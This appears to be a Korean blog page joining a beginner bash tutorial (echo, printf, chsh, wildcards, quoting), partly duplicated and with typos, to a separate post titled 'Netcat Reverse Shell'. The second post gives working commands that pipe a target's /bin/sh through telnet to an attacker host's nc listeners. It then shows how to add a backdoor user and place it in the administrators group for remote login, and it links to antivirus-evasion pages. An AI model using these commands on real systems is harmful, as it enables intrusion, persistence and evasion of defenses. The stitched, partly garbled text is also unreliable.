Shell 기본 사용법

Kail-KM
|2015. 8. 16. 13:28

<출력하기>

배시쉘의 출력명령은 echo와 printf이다.


echo : 화면에 한줄의 문자열을 출력한다

        echo [-n] [문자열]

        ex)echo text

printf:자료를 형식화하여 화면에 출력한다.

        printf 형식 [인수]

        %d, \n등 C언어의 printf함수 형식을 지정한다.

  ex)   printf text

        printf "text\n"

        printf "%d\n" 100

~                                           


chsh : 사용자 로그인 셸을 바꾼다.

-s shell : 지정하는 셸로 로그인 셸을바꾼다.

-l : /etc/shells 파일에 저장된 셸을 출력한다.

  ex) chsh -l

chsh -s /bin/sh user1

chsh


현재 바꿀  수 있는 쉘의 종류는 /etc/shells에 저장되어 있다.

cat  /etc/shells >> sh, dash, bash, rbash 가 존재한다.

rbash의 경우 배시쉘의 심벌릭 링크이다.


<로그인쉘과 서브쉘>

사용자는 프롬프트에서 다른쉘을 실행할수 있는데, 이렇게 새로 생성된 쉘을 서브쉘이라 한다.


<출력하기>

배시쉘의 출력명령은 echo와 printf이다.


echo : 화면에 한줄의 문자열을 출력한다

echo [-n] [문자열]

ex)echo text

printf:자료를 형식화하여 화면에 출력한다.

printf 형식 [인수]

%d, \n등 C언어의 printf함수 형식을 지정한다.

  ex) printf text

printf "text\n"

printf "%d\n" 100


<특수문자>

* : *는 임의의 문자열을 나타내는 특수 문자로 주료 여러파일의 이름을 나열할때 파일 이름을 간단히 표현하는 데 사용된다. 명령을 실행할ㄸ ㅐ 파일이름을 적어야하는 자리에 대신 사용할경우 모든파일을 나타낸다.

ls *  : 현재 디렉터리의 모든 파일과 서브 디렉터리를 나열

cp * /tmp : 현재 디렉터리의 모든 파일을 /tmp 아래로 복사한다.

ls -F t* : t,tmp,temp와 같이 t로 시작하는 모든 파일의 이름과 파일종류를  출력한다.

cp *.txt ../ch3 : 확장자가 txt인 모든파일을 ch3디렉터리로 복사한다.

ls -l h*d : 파일명이 h로 시작,d로 끝나는 모든 파일의 상세정보를출력


?와 [ : 모두 하나의 문자를 나타내는데 사용된다.

?는 길이가 1인 임의의 한문잘ㄹ, []는 괄호안에 포함된 문자중 하나를 나타낸다.

ls t*.txt. : t 다음에 임의의 한문자가 오고 파일의 확장자가 txt인 모든 ㅍ일의 이름을 출력한다.

ls -l tmp[135].txt : tmp다음에 1,3,5중한글자가 오는txt파일 출력

ls [0-9]* : 파일명이 숫자로 시작하는 모든파일목록을 출력

ls [A-Za-z]*[0-9] : 파일명이 영문으로 시작하고 숫자로끝나는모든파일출력

~와 -  : 디렉터리를 나나내느 특수문자

~만 사용하면 현재 작업중인 사용자의 홈디렉터리를 나타내고, 다른 사용자의 로그인 ID와 함께 사용하면 해당 사용자의 홈 디렉터리를 나타낸다.

-는 cd 명령으로 디렉터리를 이전하기 직전의 작업디렉터리를 나타낸다.

cp *.txt ~/ch3 : 확장자가txt인 파일을 현재작업중인 사용자홈ㄷ렉터리 아래 tmp 디렉터리로 복사한다.

cp ~user2/linux.txt . : 현재디렉터리로 user2의홈디렉터리에서linux.txt를 찾아 복사 한다.

cd - : 이전 작업 디렉터리로 이동한다.


;과 | : 명령과 명령을 연결한다.

; : 연결된 명령을 왼쪽부터 차례로 실행하고,

|는 왼족명령의 실행결과를 오른쪽 명령의 입력으로 전달한다.

date;ls;pwd : 왼쪽부터 차례로 수행

ls -al / | more : 모든파일의 상세정보를 한 화면씩 출력한다. ls의 결과가 more 명령의 입력으로 전달되어 페이지 단위로 출력되는 것이다.


''와"" : 문자를 감싸서 문자열로 만들어 주고, 문자열 안에 사용된 특수 문자의 기능을 없앤다. 

'' : 모든 특수문자를

"" : $,``,\을 제외한 모든 특수문자를 일반 문자로 간주하여 처리

echo '$SHELL' : $SHELL 문자열이 출력됨

echo "$SHELL" : 셸 환경 변수인 shell에 저장된 값인 현재 셸의 종류가 출력


`` : ~의 no shift 형태 , 쉘은 ``로 감싸인 문자열을 명령으로 해석하여 명령의 실행 결과로 바뀌게 한다.

echo "Today is `date`":`date`는 명령어로 해석되어 출력된다.

ls /platform/'uname -m`: uname -m 명령의 실행결과를 문자열로 바꿔 디렉터리 이름으로 사용한다.


\ : 특수문자 앞에 쓰이며, 해당 특수 문자의 효과를 업새고 일반 문자처럼 처리.

ls - t\* : t*이라는 이름을 가진 파일의 정보를 출력한다. 만약 \가 없을 경우 t로 시작하는 모든 파일의 상세정보를 출력

echo \$SHELL : $SHELL을 출력한다. 

>,<,>> : 입출력의 방향을 바꾸는 특수문자

'O / S > Linux' 카테고리의 다른 글

리다이렉션  (0) 2015.08.16
Linux 디렉터리와 파일다루기  (0) 2015.08.16
Kali Linux 2.0 Adob Flash Install  (0) 2015.08.14
kali linux 2.0 한글  (0) 2015.08.14
Ubuntu Alt_R 한글 변환 설정  (0) 2015.07.09

Netcat Reverse Shell


우선 두대의 PC가 필요하며 각 PC에는 Netcat이 필요하다

HOST PC에서 nc 를 cmd를 통해서 2개를 연 후

> nc -l -p 1111

> nc -l -p 2222

위와 같이 두개의 port를 오픈한다.


Target PC에선 nc 를 연 후 

# telnet HOST_IP 1111 | /bin/sh | telnet HOST_IP 2222 

이렇게 해주면 Host에서 port  1111로 오픈한 cmd 창을 통하여 명령어를 전달하면 port 2222를 통하여 결과값을 돌려 받을 수가 있다.


연결 후  'net user'라는 명령어를 사용하면 위 스크린샷 처럼 현재 시스템에 등록되어 있는 사용자를 보여준다. net user /add USER PASSWORD' 명령은 사용자를 시스템에 등록해준다. 예제로 1111의 비밀번호를 사용하는 test라는 사용자를 등록하였다.

그리고 'net localgroup administrators test /add'를 사용해서 test 사용자를 관리자 그룹으로 옮겨준다. 윈도우는 기본정책으로 관리자가 아니면 원격제어를 제한한다. 따라서 사용자를 관리자 그룹으로 만들어 주는 것이다. 관리자 그룹으로 이동시킨 사용자는 위 스크린샷 처럼 원격 로그인이 된다. 고유의 사용자를 만든 것이므로 사용자를 위한 여러 개인설정을 만든다.






백신우회

http://cdpython.tistory.com/22

http://0x191unauthorized.blogspot.kr/2011/08/antivirus-hiding.html


참고 사이트 및 출처

http://devanix.tistory.com/307

http://blog.daum.net/sysnet924/246

[출처] 리버스쏄|작성자 별향

[출처] 리버스쏄|작성자 별향

[출처] 리버스쏄|작성자 별향

[출처] 리버스쏄|작성자 별향

'Hacking > Network Hacking' 카테고리의 다른 글

WiFi Crack - WPA  (0) 2015.08.24
WiFi Crack - WEP  (0) 2015.08.24
네트워크 해킹 순서 참고 사이트  (0) 2015.08.20
Cain&Abel - ARP_Spoofing Attack  (0) 2015.03.23